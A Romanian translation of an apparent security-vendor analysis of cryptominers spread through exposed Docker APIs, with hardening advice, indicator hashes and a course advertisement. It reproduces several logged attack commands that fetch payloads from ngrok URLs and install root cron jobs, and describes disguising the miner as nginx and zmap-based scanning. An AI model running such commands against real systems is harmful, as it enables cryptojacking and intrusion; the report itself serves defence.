Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede

Am analizat datele colectate folosind containere honeypot, pe care le-am creat pentru a urmări amenințările. Și am detectat activitate semnificativă de la minerii de criptomonede nedoriți sau neautorizați, desfășurați ca containere necinstite, folosind o imagine publicată de comunitate pe Docker Hub. Imaginea este folosită ca parte a unui serviciu care furnizează mineri de criptomonede rău intenționați.

În plus, sunt instalate programe de lucru cu rețele pentru a pătrunde în containerele și aplicațiile învecinate deschise.

Ne lăsăm honeypot-urile așa cum este, adică cu setările implicite, fără măsuri de securitate sau instalarea ulterioară a software-ului suplimentar. Vă rugăm să rețineți că Docker are recomandări pentru configurarea inițială pentru a evita erorile și vulnerabilitățile simple. Dar honeypot-urile folosite sunt containere, concepute pentru a detecta atacurile care vizează platforma de containerizare, nu aplicațiile din interiorul containerelor.

Activitatea rău intenționată detectată este de asemenea notabilă deoarece nu necesită vulnerabilități și este, de asemenea, independentă de versiunea Docker. Găsirea unei imagini de container configurată incorect și, prin urmare, deschisă este tot ceea ce au nevoie atacatorii pentru a infecta multe servere deschise.

API-ul Docker neînchis permite utilizatorului să efectueze o gamă largă de echipe, inclusiv obținerea unei liste de containere care rulează, obținerea jurnalelor dintr-un anumit container, pornirea, oprirea (inclusiv forțată) și chiar crearea unui container nou dintr-o anumită imagine cu setări specificate.

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede
În stânga este metoda de livrare a programelor malware. În dreapta este mediul atacatorului, care permite difuzarea de la distanță a imaginilor.

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede
Distribuția în funcție de țară a 3762 de API-uri Docker deschise. Pe baza căutării Shodan din data de 12.02.2019

Lanț de atac și opțiuni de încărcare utilă

Activitatea rău intenționată a fost detectată nu numai cu ajutorul honeypots. Datele de la Shodan arată că numărul de API-uri Docker expuse (a se vedea al doilea grafic) a crescut de când am investigat un container configurat greșit folosit ca punte pentru a implementa software-ul de extragere a criptomonedei Monero. În octombrie anul trecut (2018, date actuale poti arata asa aproximativ traducător) existau doar 856 de API-uri deschise.

O examinare a jurnalelor honeypot a arătat că utilizarea imaginii containerului a fost, de asemenea, asociată cu utilizarea ngrok, un instrument pentru stabilirea de conexiuni sigure sau redirecționarea traficului de la punctele accesibile public la adrese sau resurse specificate (de exemplu localhost). Acest lucru permite atacatorilor să creeze în mod dinamic adrese URL atunci când livrează încărcătură utilă către un server deschis. Mai jos sunt exemple de cod din jurnalele care arată abuzul serviciului ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

După cum puteți vedea, fișierele încărcate sunt descărcate de la adrese URL în schimbare constantă. Aceste adrese URL au o dată de expirare scurtă, astfel încât încărcăturile utile nu pot fi descărcate după data de expirare.

Există două opțiuni de încărcare utilă. Primul este un miner ELF compilat pentru Linux (definit ca Coinminer.SH.MALXMR.ATNO) care se conectează la pool-ul de minerit. Al doilea este un script (TrojanSpy.SH.ZNETMAP.A) conceput pentru a obține anumite instrumente de rețea utilizate pentru a scana zonele de rețea și apoi a căuta noi ținte.

Scriptul dropper setează două variabile, care sunt apoi folosite pentru a implementa minerul de criptomonede. Variabila HOST conține adresa URL în care se află fișierele rău intenționate, iar variabila RIP este numele fișierului (de fapt, hash-ul) al minerului care urmează să fie implementat. Variabila HOST se modifică de fiecare dată când variabila hash se modifică. Scriptul încearcă, de asemenea, să verifice dacă nu rulează alți mineri de criptomonede pe serverul atacat.

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede
Exemple de variabile HOST și RIP, precum și un fragment de cod folosit pentru a verifica dacă nu rulează alți mineri

Înainte de a porni minerul, acesta este redenumit în nginx. Alte versiuni ale acestui script redenumiți minerul cu alte servicii legitime care pot fi prezente în mediile Linux. Acest lucru este de obicei suficient pentru a ocoli verificările din lista de procese care rulează.

Scriptul de căutare are și caracteristici. Funcționează cu același serviciu URL pentru a implementa instrumentele necesare. Printre acestea se numără binarul zmap, care este folosit pentru a scana rețele și a obține o listă de porturi deschise. Scriptul încarcă și un alt binar care este folosit pentru a interacționa cu serviciile găsite și pentru a primi bannere de la acestea pentru a determina informații suplimentare despre serviciul găsit (de exemplu, versiunea acestuia).

De asemenea, scriptul pre-determină unele zone de rețea de scanat, dar acest lucru depinde de versiunea scriptului. De asemenea, setează porturile țintă de la servicii - în acest caz, Docker - înainte de a rula scanarea.

De îndată ce sunt găsite ținte posibile, bannerele sunt eliminate automat din acestea. Scriptul filtrează și ținte în funcție de serviciile, aplicațiile, componentele sau platformele de interes: Redis, Jenkins, Drupal, MODX, Maestru Kubernetes, client Docker 1.16 și Apache CouchDB. Dacă serverul scanat se potrivește cu oricare dintre ele, acesta este salvat într-un fișier text, pe care atacatorii îl pot folosi ulterior pentru analize și hacking ulterioare. Aceste fișiere text sunt încărcate pe serverele atacatorilor prin link-uri dinamice. Adică, se folosește o adresă URL separată pentru fiecare fișier, ceea ce înseamnă că accesul ulterioar este dificil.

Vectorul de atac este o imagine Docker, așa cum se poate vedea în următoarele două bucăți de cod.

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede
În partea de sus este redenumirea la un serviciu legitim, iar în partea de jos este modul în care zmap este utilizat pentru a scana rețelele

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede
În partea de sus sunt zone de rețea predefinite, în partea de jos sunt porturi specifice pentru căutarea serviciilor, inclusiv Docker

Cum sunt folosite API-ul Docker neproprietar și imaginile publice din comunitate pentru a distribui mineri de criptomonede
Captura de ecran arată că imaginea cu bucle alpine a fost descărcată de peste 10 milioane de ori

Bazat pe Alpine Linux și curl, un instrument CLI eficient din punct de vedere al resurselor pentru transferul fișierelor prin diferite protocoale, puteți construi Imagine Docker. După cum puteți vedea în imaginea anterioară, această imagine a fost deja descărcată de peste 10 milioane de ori. Un număr mare de descărcări poate însemna utilizarea acestei imagini ca punct de intrare; această imagine a fost actualizată cu mai mult de șase luni în urmă; utilizatorii nu au descărcat alte imagini din acest depozit la fel de des. În Docker punct de intrare - un set de instrucțiuni utilizate pentru a configura un container pentru a-l rula. Dacă setările punctului de intrare sunt incorecte (de exemplu, containerul este lăsat deschis de pe Internet), imaginea poate fi folosită ca vector de atac. Atacatorii îl pot folosi pentru a livra o sarcină utilă dacă găsesc un container deschis sau configurat greșit rămas neacceptat.

Este important să rețineți că această imagine (alpine-curl) în sine nu este rău intenționată, dar, după cum puteți vedea mai sus, poate fi folosită pentru a efectua funcții rău intenționate. Imaginile Docker similare pot fi folosite și pentru a efectua activități rău intenționate. Am contactat Docker și am lucrat cu ei pe această problemă.

Recomandări

Setare incorectă rămâne problema constanta pentru multe companii, în special pentru cele care implementează DevOps, axat pe dezvoltare și livrare rapidă. Totul este agravat de necesitatea respectarii regulilor de audit si monitorizare, de necesitatea monitorizarii confidentialitatii datelor, precum si de paguba enorma din nerespectarea acestora. Încorporarea automatizării securității în ciclul de viață al dezvoltării nu numai că vă ajută să găsiți găuri de securitate care altfel ar putea rămâne nedetectate, dar vă ajută și să reduceți volumul de lucru inutil, cum ar fi rularea de versiuni suplimentare de software pentru fiecare vulnerabilitate descoperită sau configurație greșită după implementarea unei aplicații.

Incidentul discutat în acest articol evidențiază necesitatea de a lua în considerare siguranța încă de la început, incluzând următoarele recomandări:

  • Pentru administratorii de sistem și dezvoltatori: verificați întotdeauna setările API-ului pentru a vă asigura că totul este configurat pentru a accepta numai cereri de la un anumit server sau rețea internă.
  • Urmați principiul celor mai puține drepturi: asigurați-vă că imaginile containerului sunt semnate și verificate, limitați accesul la componentele critice (serviciul de lansare a containerului) și adăugați criptare conexiunilor de rețea.
  • Urma recomandări și să activeze mecanisme de securitate, de ex. de la Docker și încorporat caracteristici de securitate.
  • Utilizați scanarea automată a timpilor de execuție și a imaginilor pentru a obține informații suplimentare despre procesele care rulează în container (de exemplu, pentru a detecta falsificarea sau pentru a căuta vulnerabilități). Controlul aplicațiilor și monitorizarea integrității ajută la urmărirea modificărilor anormale ale serverelor, fișierelor și zonelor de sistem.

Trendmicro ajută echipele DevOps să construiască în siguranță, să se lanseze rapid și să se lanseze oriunde. Trend Micro Securitate cloud hibrid Oferă securitate puternică, simplificată și automatizată în conducta DevOps a unei organizații și oferă mai multe apărări împotriva amenințărilor XGen pentru a proteja sarcinile de lucru fizice, virtuale și în cloud în timpul execuției. De asemenea, adaugă securitatea containerului cu Securitate profundă и Verificare inteligentă de securitate profundă, care scanează imaginile containerelor Docker pentru malware și vulnerabilități în orice moment al procesului de dezvoltare pentru a preveni amenințările înainte de a fi implementate.

Semne de compromis

Hash-uri înrudite:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Pe Curs video Docker Difuzorii practicanți arată ce setări trebuie făcute mai întâi pentru a minimiza probabilitatea sau pentru a evita complet apariția situației descrise mai sus. Și pe 19-21 august la o intensivă online Instrumente și trucuri DevOps Puteți discuta aceste probleme de securitate și alte probleme similare cu colegii și profesorii practicanți la o masă rotundă, unde toată lumea poate vorbi și asculta durerile și succesele colegilor cu experiență.

Sursa: www.habr.com

Adauga un comentariu